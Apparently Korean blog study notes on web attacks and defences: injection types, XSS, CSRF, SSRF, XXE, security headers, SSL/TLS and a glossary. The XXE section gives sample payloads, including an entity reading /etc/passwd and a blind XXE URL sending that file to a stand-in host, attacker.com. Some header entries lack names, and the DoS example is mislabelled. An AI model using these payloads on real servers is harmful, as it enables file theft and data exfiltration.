SQL Injection
구분 | 세부 공격 유형 | 비고 |
SQL Injection | • Basic/Classic Injection • Blind SQL Injection • Time-based Blind • Error-based • Union-based • Stacked Queries • Out-of-band |
• Basic: 직접적인 쿼리 조작 • Blind: 참/거짓 응답을 통한 데이터 유추 • Time-based: 시간 지연을 통한 데이터 유추 • Error-based: 에러 메시지를 통한 정보 획득 • Union-based: UNION 구문을 통한 데이터 결합 • Stacked: 다중 쿼리 실행 • Out-of-band: 대역외 채널을 통한 데이터 유출 |
NoSQL Injection | • MongoDB Injection • Redis Injection • CouchDB Injection • Cassandra Injection |
• 비관계형 데이터베이스 대상 공격 • 연산자 주입 • JavaScript 코드 실행 • 정규표현식 조작 |
Command Injection | • OS Command Injection • Shell Command Injection • Parameter Injection • Environment Variable Injection |
• 운영체제 명령어 실행 • 셸 명령어 주입 • 명령어 매개변수 조작 • 환경변수 조작 통한 공격 |
LDAP Injection | • Search Filter Injection • DN Injection • Attribute Injection |
• 디렉토리 서비스 쿼리 조작 • 검색 필터 우회 • 사용자 인증 우회 |
XML Injection | • XML External Entity (XXE) • XML Entity Expansion • XInclude Attack • SOAP Injection |
• 외부 엔티티 참조 공격 • XML 파서 과부하 공격 • 원격 파일 포함 • SOAP 메시지 조작 |
XPath Injection | • Blind XPath Injection • Error-based XPath • Search Filter Bypass |
• XML 문서 조회 조작 • XPath 쿼리 우회 • 조건문 조작 |
Code Injection | • Remote Code Execution • PHP Code Injection • ASP/ASP.NET Code Injection • Python Code Injection |
• 원격 코드 실행 • 서버 사이드 코드 실행 • 템플릿 엔진 취약점 |
XSS(Cross-Site Scripting)
구분 | 세부 공격 유형 | 비고 |
Stored XSS | 게시판/댓글 입력필드 프로필 정보조작 알림/메시지 기능 악용 |
여러 사용자를 동시에 공격 |
Reflected XSS | URL 조작 HTTP헤더변조 피싱링크삽입 |
주로 이메일 링크나 피싱 웹사이트에서 발생 |
DOM-based XSS | URL 해시조작 : 해시(#)을 악용하여 스크립트가 실행되도록 DOM 요소 조작 : innerHTML, document.write와 같은 DOM 조작 메서드를 통해 사용자가 방문한 페이지 내에서 악성 스크립트를 실행 자바스크립트 변수조작 |
서버에는 스크립트가 전달되지 않으며, 브라우저의 DOM 환경에서만 발생 |
# 콘텐츠 보안 정책(CSP) : 리소스 로딩정책지정해서 외부 스크립트 로딩을 차단하는 방식
#HTTPOnly : 자바스크립트로 쿠키접근이 차단 XSS 탈취방지
CSRF (Cross-Site Request Forgery)
구분 | 세부 공격 유형 | 비고 |
XSS 없이도 가능한 CSRF: CSRF는 사용자가 공격자가 조작한 링크나 폼을 클릭하거나 페이지를 방문하도록 유도하는 것만으로도 실행가능 CSRF는 사용자의 인증된 세션을 이용해 요청을 위조하는 공격 방지방법은 보안 토큰(CSRF 토큰), SameSite 쿠키 설정, Referer 또는 Origin 검증
|
사용자 모르게 웹 애플리케이션의 요청을 위조하여 서버에 전송하는 공격 CSRF는 XSS 없이도 독립적으로 수행가능 |
SSRF (Server-Side Request Forgery)
구분 | 세부 공격 유형 | 비고 |
내부 API 요청 메타데이터 서비스 접근 외부 URL 화이트리스트 메타데이터 서비스 접근 차단: 클라우드 환경에서는 메타데이터 서비스 접근을 차단하여 악용되지 않도록 설정 |
서버가 외부 리소스를 요청하는 기능을 악용하여, 공격자가 서버 측에서 임의의 요청을 수행하도록 하는 공격 |
XXE (XML External Entity)
구분 | 세부 공격 유형 | 비고 |
XXE (XML External Entity) 공격 | 1. 데이터 유출형 XXE XML 내 외부 엔터티를 정의하여 서버의 중요한 파일(/etc/passwd, /etc/hosts)을 읽고 외부로 유출하는 방식입니다. 예시: <!ENTITY xxe SYSTEM "file:///etc/passwd"> 외부 엔터티 xxe를 통해 파일을 읽어오는 방식 2. 블라인드 XXE (Blind XXE) 응답에 직접 데이터가 노출되지 않을 때 사용하는 기법입니다. 외부 서버로 요청을 보내서 서버가 파일에 접근했음을 확인합니다. 예시: http://attacker.com/log?data=file:///etc/passwd"> 서버가 엔터티를 로드하면서 공격자의 서버로 요청을 보내 정보가 수집됩니다. 3. DoS(서비스 거부) XXE 외부 엔터티를 사용해 대량의 메모리나 프로세스를 소모하는 공격입니다. 예시: XML 엔티티 안에 자기 자신을 참조하는 반복 구조를 사용하여 서버에 과부하를 일으킵니다. <!ENTITY loop SYSTEM "file:///dev/random"> 4. 원격 코드 실행 XXE 특정 XML 파서나 서버 설정에 따라 XXE를 통해 원격 코드 실행이 가능한 경우도 있습니다. 이 경우 공격자는 서버의 권한을 얻어 임의 코드를 실행할 수 있습니다. 예시: 잘못된 엔티티 해석기를 악용하여 임의의 코드 실행이 가능하도록 만듭니다. |
API 보안 취약점
구분 | 세부 공격 유형 | 비고 |
- 1. Content-Security-Policy (CSP)
- 설명: 웹 페이지에서 실행될 수 있는 콘텐츠(스크립트, 스타일, 이미지 등)의 출처를 제한하는 보안 헤더입니다. XSS와 같은 스크립트 삽입 공격을 방지하는 데 효과적입니다.
- 예시:
http코드 복사Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com
- 주요 기능: 신뢰할 수 있는 출처를 지정하여 허용된 도메인에서만 리소스를 불러올 수 있도록 합니다.
- 설명: 웹 페이지가 <iframe>, <frame>, <object> 등에 삽입될 수 있는지 여부를 결정합니다. Clickjacking(클릭재킹) 공격을 방지하는 데 사용됩니다.
- 옵션:
- DENY: 페이지가 다른 페이지에 포함되지 않도록 차단합니다.
- SAMEORIGIN: 동일 출처에서만 포함할 수 있습니다.
- ALLOW-FROM URI: 특정 URI에서만 포함이 가능하게 설정합니다.
- 예시:
http코드 복사X-Frame-Options: SAMEORIGIN
- 설명: 브라우저가 MIME 타입을 선언된 그대로 해석하도록 강제하는 헤더입니다. Content Sniffing을 방지하여 악의적인 콘텐츠가 실행되는 것을 차단합니다.
- 옵션:
- nosniff: 브라우저가 콘텐츠를 자동으로 해석하는 것을 막고, 선언된 MIME 타입을 강제합니다.
- 예시:
http코드 복사X-Content-Type-Options: nosniff
- 설명: 브라우저에게 해당 도메인에 대해 HTTPS만 사용하도록 강제하는 보안 헤더입니다. HTTP로 접속된 요청을 HTTPS로 자동 전환하여 중간자 공격(Man-in-the-Middle Attack) 방어에 효과적입니다.
- 옵션:
- max-age: HSTS 정책의 유효 기간을 초 단위로 지정합니다.
- includeSubDomains: 서브도메인에도 HSTS 정책을 적용합니다.
- preload: HSTS 프리로드 리스트에 등록하여 브라우저가 HTTP 접속 자체를 차단하도록 할 수 있습니다.
- 예시:
http코드 복사Strict-Transport-Security: max-age=31536000; includeSubDomains
- 설명: 브라우저의 기본 XSS 방지 필터를 활성화하거나 비활성화하는 보안 헤더입니다. 브라우저에서 기본적으로 제공하는 XSS 필터를 제어할 수 있습니다.
- 옵션:
- 1; mode=block: XSS 공격이 감지되면 페이지를 표시하지 않습니다.
- 0: 브라우저의 XSS 필터를 비활성화합니다.
- 예시:
http코드 복사X-XSS-Protection: 1; mode=block
- 설명: 웹 페이지 간에 링크를 클릭할 때 참조 정보를 어떻게 전달할지 제어합니다. 민감한 정보가 포함된 URL이 외부로 유출되지 않도록 방지합니다.
- 옵션:
- no-referrer: Referer 헤더를 전송하지 않습니다.
- no-referrer-when-downgrade: HTTPS → HTTP 요청 시 Referer 헤더를 전송하지 않습니다.
- same-origin: 동일 출처에만 Referer 헤더를 전송합니다.
- 예시:
http코드 복사Referrer-Policy: no-referrer-when-downgrade
- 설명: 웹 페이지에서 특정 기능(예: 위치 정보, 카메라, 마이크 등)을 사용할 수 있는지를 제어하는 보안 헤더입니다.
- 옵션:
- 각 기능에 대해 허용 여부를 지정합니다. 예를 들어, geolocation 'self'는 지리 위치 정보가 동일 출처에서만 사용 가능하도록 제한합니다.
- 예시:
http코드 복사Permissions-Policy: geolocation=(self), microphone=()
- 설명: 인증서 투명성(CT) 로그를 확인하고, 인증서가 CT 로그에 기록되지 않은 경우 보고하도록 설정하는 보안 헤더입니다. CT 로그를 통해 HTTPS 인증서가 올바르게 투명하게 관리되는지 확인할 수 있습니다.
- 옵션:
- max-age: Expect-CT 정책의 유효 시간을 초 단위로 설정합니다.
- enforce: CT 로그에 기록되지 않은 인증서를 강제로 차단합니다.
- report-uri: CT 로그에 기록되지 않은 인증서가 감지되면 보고할 URL을 지정합니다.
- 예시:
- 설명: 외부 도메인에서 리소스를 요청할 때, 요청을 허용할 출처를 지정하는 헤더입니다. 다른 출처의 자원이 안전하게 교환될 수 있도록 제어합니다.
- 예시:
-
1. SSL (Secure Sockets Layer)
- 개요: SSL은 넷스케이프(Netscape)가 개발한 프로토콜로, 웹 서버와 클라이언트 간의 안전한 연결을 제공하기 위해 사용됩니다. SSL 2.0과 3.0이 존재하지만, 보안 취약점으로 인해 더 이상 사용되지 않습니다.
- 특징:
- 데이터 암호화: 전송되는 데이터를 암호화하여 중간에서의 도청을 방지합니다.
- 인증: 서버와 클라이언트 간의 신뢰성을 확인합니다.
- 데이터 무결성: 전송 중 데이터가 변경되지 않았음을 보장합니다.
2. TLS (Transport Layer Security)
- 개요: TLS는 SSL의 후속 프로토콜로, 더 강력한 보안 기능을 제공합니다. TLS 1.0은 SSL 3.0에서 발전한 버전이며, 이후 TLS 1.1, TLS 1.2, TLS 1.3 버전이 차례로 출시되었습니다.
- 특징:
- 향상된 보안: TLS는 암호화 알고리즘, 키 교환 및 메시지 인증 방식을 개선하여 보안을 강화했습니다.
- 성능 향상: TLS 1.3은 핸드셰이크 과정을 간소화하여 성능을 높이고, 불필요한 보안 옵션을 제거하여 보안을 강화했습니다.
- 지원하는 암호화 알고리즘: TLS는 다양한 암호화 알고리즘을 지원하며, 이를 통해 안전한 데이터 전송을 보장합니다.
3. SSL/TLS의 작동 방식
SSL/TLS는 다음과 같은 과정을 통해 작동합니다:
1. 핸드셰이크 과정 (Handshake Process)
- 클라이언트와 서버 간의 연결이 시작될 때, 핸드셰이크 과정을 통해 서로의 신원을 확인하고, 사용할 암호화 방식 및 세션 키를 협상합니다.
- 이 과정에는 다음 단계가 포함됩니다:
- 클라이언트 헬로우: 클라이언트가 서버에 연결 요청을 보내며 지원하는 TLS 버전과 암호화 스위트를 보냅니다.
- 서버 헬로우: 서버가 클라이언트의 요청을 수락하고, 사용할 TLS 버전과 암호화 스위트를 선택하여 응답합니다.
- 서버 인증서 전송: 서버는 클라이언트에게 인증서를 보내어 자신의 신원을 증명합니다. 이 인증서에는 공개 키가 포함되어 있습니다.
- 세션 키 생성: 클라이언트는 서버의 공개 키를 사용하여 세션 키를 생성하고, 이를 서버에게 암호화하여 전송합니다.
- 세션 키 사용: 세션 키가 설정되면, 클라이언트와 서버는 이 키를 사용하여 데이터를 암호화하여 전송합니다.
2. 데이터 전송
- 핸드셰이크가 완료되면 클라이언트와 서버는 세션 키를 사용하여 암호화된 데이터를 안전하게 전송합니다.
3. 세션 종료
- 데이터 전송이 완료되면, 세션을 종료하고 관련된 모든 키를 폐기합니다.
4. SSL/TLS의 보안 기능
- 암호화: 데이터를 암호화하여 전송 중 도청을 방지합니다.
- 인증: 서버와 클라이언트 간의 신뢰성을 보장합니다.
- 무결성: 전송 중 데이터가 변조되지 않았음을 확인합니다.
5. SSL/TLS의 중요성
- 데이터 보호: 민감한 데이터(예: 개인 정보, 결제 정보)를 안전하게 전송할 수 있습니다.
- 신뢰성 확보: 사용자에게 안전한 웹사이트라는 신뢰를 제공하여 고객의 신뢰를 구축할 수 있습니다.
- SEO 혜택: 구글은 HTTPS 웹사이트에 대해 SEO 점수를 높여주는 경향이 있습니다.
6. 현재 상태
- 현재 SSL은 더 이상 안전하지 않다고 간주되며, TLS 1.2 이상을 사용하는 것이 권장됩니다. TLS 1.3은 최신 버전으로, 보안성과 성능이 크게 향상되었습니다. 많은 웹사이트와 서비스가 이제 TLS 1.2와 TLS 1.3을 사용하여 데이터 전송을 안전하게 보호하고 있습니다.
SSL과 TLS는 현대 인터넷 보안의 핵심 요소로, 데이터 보호와 사용자 신뢰 구축을 위한 필수적인 프로토콜입니다.
기본 개념
- 웹 해킹: 웹 애플리케이션이나 서비스를 대상으로 하는 해킹 활동.
- 취약점 (Vulnerability): 시스템, 네트워크 또는 애플리케이션의 보안상의 결함.
- 공격 벡터 (Attack Vector): 해커가 공격을 수행하기 위해 이용하는 방법이나 경로.
- 익스플로잇 (Exploit): 취약점을 이용하여 시스템에 침투하거나 피해를 주는 코드 또는 방법.
- 패치 (Patch): 소프트웨어의 취약점을 수정하기 위한 업데이트.
공격 유형
- SQL Injection (SQLi): 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하여 데이터에 접근하거나 조작하는 공격.
- Cross-Site Scripting (XSS): 사용자의 브라우저에서 악성 스크립트를 실행하게 하는 공격.
- Cross-Site Request Forgery (CSRF): 사용자 인증을 이용하여 사용자가 의도하지 않은 요청을 보내게 하는 공격.
- Server-Side Request Forgery (SSRF): 서버가 외부 요청을 보내도록 조작하여 내부 시스템 정보를 노출시키는 공격.
- XML External Entity (XXE): XML 파서를 통해 외부 엔티티를 로드하게 하여 시스템 정보를 노출시키는 공격.
- Remote Code Execution (RCE): 원격에서 코드나 명령을 실행할 수 있게 하는 공격.
- Denial of Service (DoS): 서비스에 대한 접근을 방해하여 정상적인 사용자를 차단하는 공격.
- Distributed Denial of Service (DDoS): 여러 시스템을 이용하여 대량의 트래픽을 발생시켜 서비스 장애를 일으키는 공격.
- Command Injection: 시스템 명령을 삽입하여 실행하는 공격.
- Directory Traversal: 파일 시스템 내에서 허용되지 않은 디렉터리에 접근하는 공격.
해킹 기법 및 도구
- 스캐닝 (Scanning): 네트워크나 시스템에서 취약점을 찾기 위해 정보를 수집하는 과정.
- 패스워드 크래킹 (Password Cracking): 암호화된 비밀번호를 해독하여 시스템에 접근하는 과정.
- 소셜 엔지니어링 (Social Engineering): 인간의 심리나 행동을 이용하여 정보를 얻는 기술.
- 피싱 (Phishing): 신뢰할 수 있는 사이트나 서비스인 척하여 사용자 정보를 탈취하는 공격.
- 리버스 엔지니어링 (Reverse Engineering): 소프트웨어의 구조와 기능을 분석하여 정보를 추출하는 과정.
- 스니핑 (Sniffing): 네트워크 트래픽을 가로채어 데이터를 수집하는 공격 기법.
보안 및 방어
- 방화벽 (Firewall): 네트워크의 보안을 위해 트래픽을 제어하는 장치.
- 침입 탐지 시스템 (IDS): 비정상적인 활동이나 침입을 감지하는 시스템.
- 침입 방지 시스템 (IPS): 침입을 감지하고 차단하는 보안 시스템.
- 웹 애플리케이션 방화벽 (WAF): 웹 애플리케이션을 보호하기 위한 특수 방화벽.
- 취약점 스캐너 (Vulnerability Scanner): 시스템이나 애플리케이션의 취약점을 자동으로 검색하는 도구.
인증 및 세션 관리
- 인증 (Authentication): 사용자의 신원을 확인하는 과정.
- 인가 (Authorization): 사용자가 특정 자원이나 기능에 접근할 수 있는 권한을 부여하는 과정.
- 세션 관리 (Session Management): 사용자 세션의 생명주기를 관리하는 기술.
- 멀티팩터 인증 (MFA): 두 개 이상의 인증 방법을 요구하여 보안을 강화하는 기술.
암호화 및 데이터 보호
- 대칭 암호화 (Symmetric Encryption): 암호화와 복호화에 동일한 키를 사용하는 방식.
- 비대칭 암호화 (Asymmetric Encryption): 암호화와 복호화에 서로 다른 키를 사용하는 방식.
- 해시 함수 (Hash Function): 임의의 데이터를 고정된 크기의 해시 값으로 변환하는 함수.
- SSL/TLS: 데이터 전송의 보안을 강화하기 위한 프로토콜.
목적 특정 아이디어나 취약점의 존재를 증명 원격에서 코드 실행을 통해 시스템 제어 형태 취약점 증명 스크립트나 코드 실제 원격 코드 실행을 포함한 공격 사용 사례 보안 연구, 테스트, 교육 실제 공격 상황에서 악용
'개념노트' 카테고리의 다른 글
안드로이드 (컴포넌트 아키텍처) (0) | 2024.12.29 |
---|---|
안드로이드 (기본구조) (0) | 2024.12.29 |
GraphQL (0) | 2024.12.29 |
역방향 프록시(Reverse Proxy) (1) | 2024.12.15 |
HTTP Header (1) | 2024.12.15 |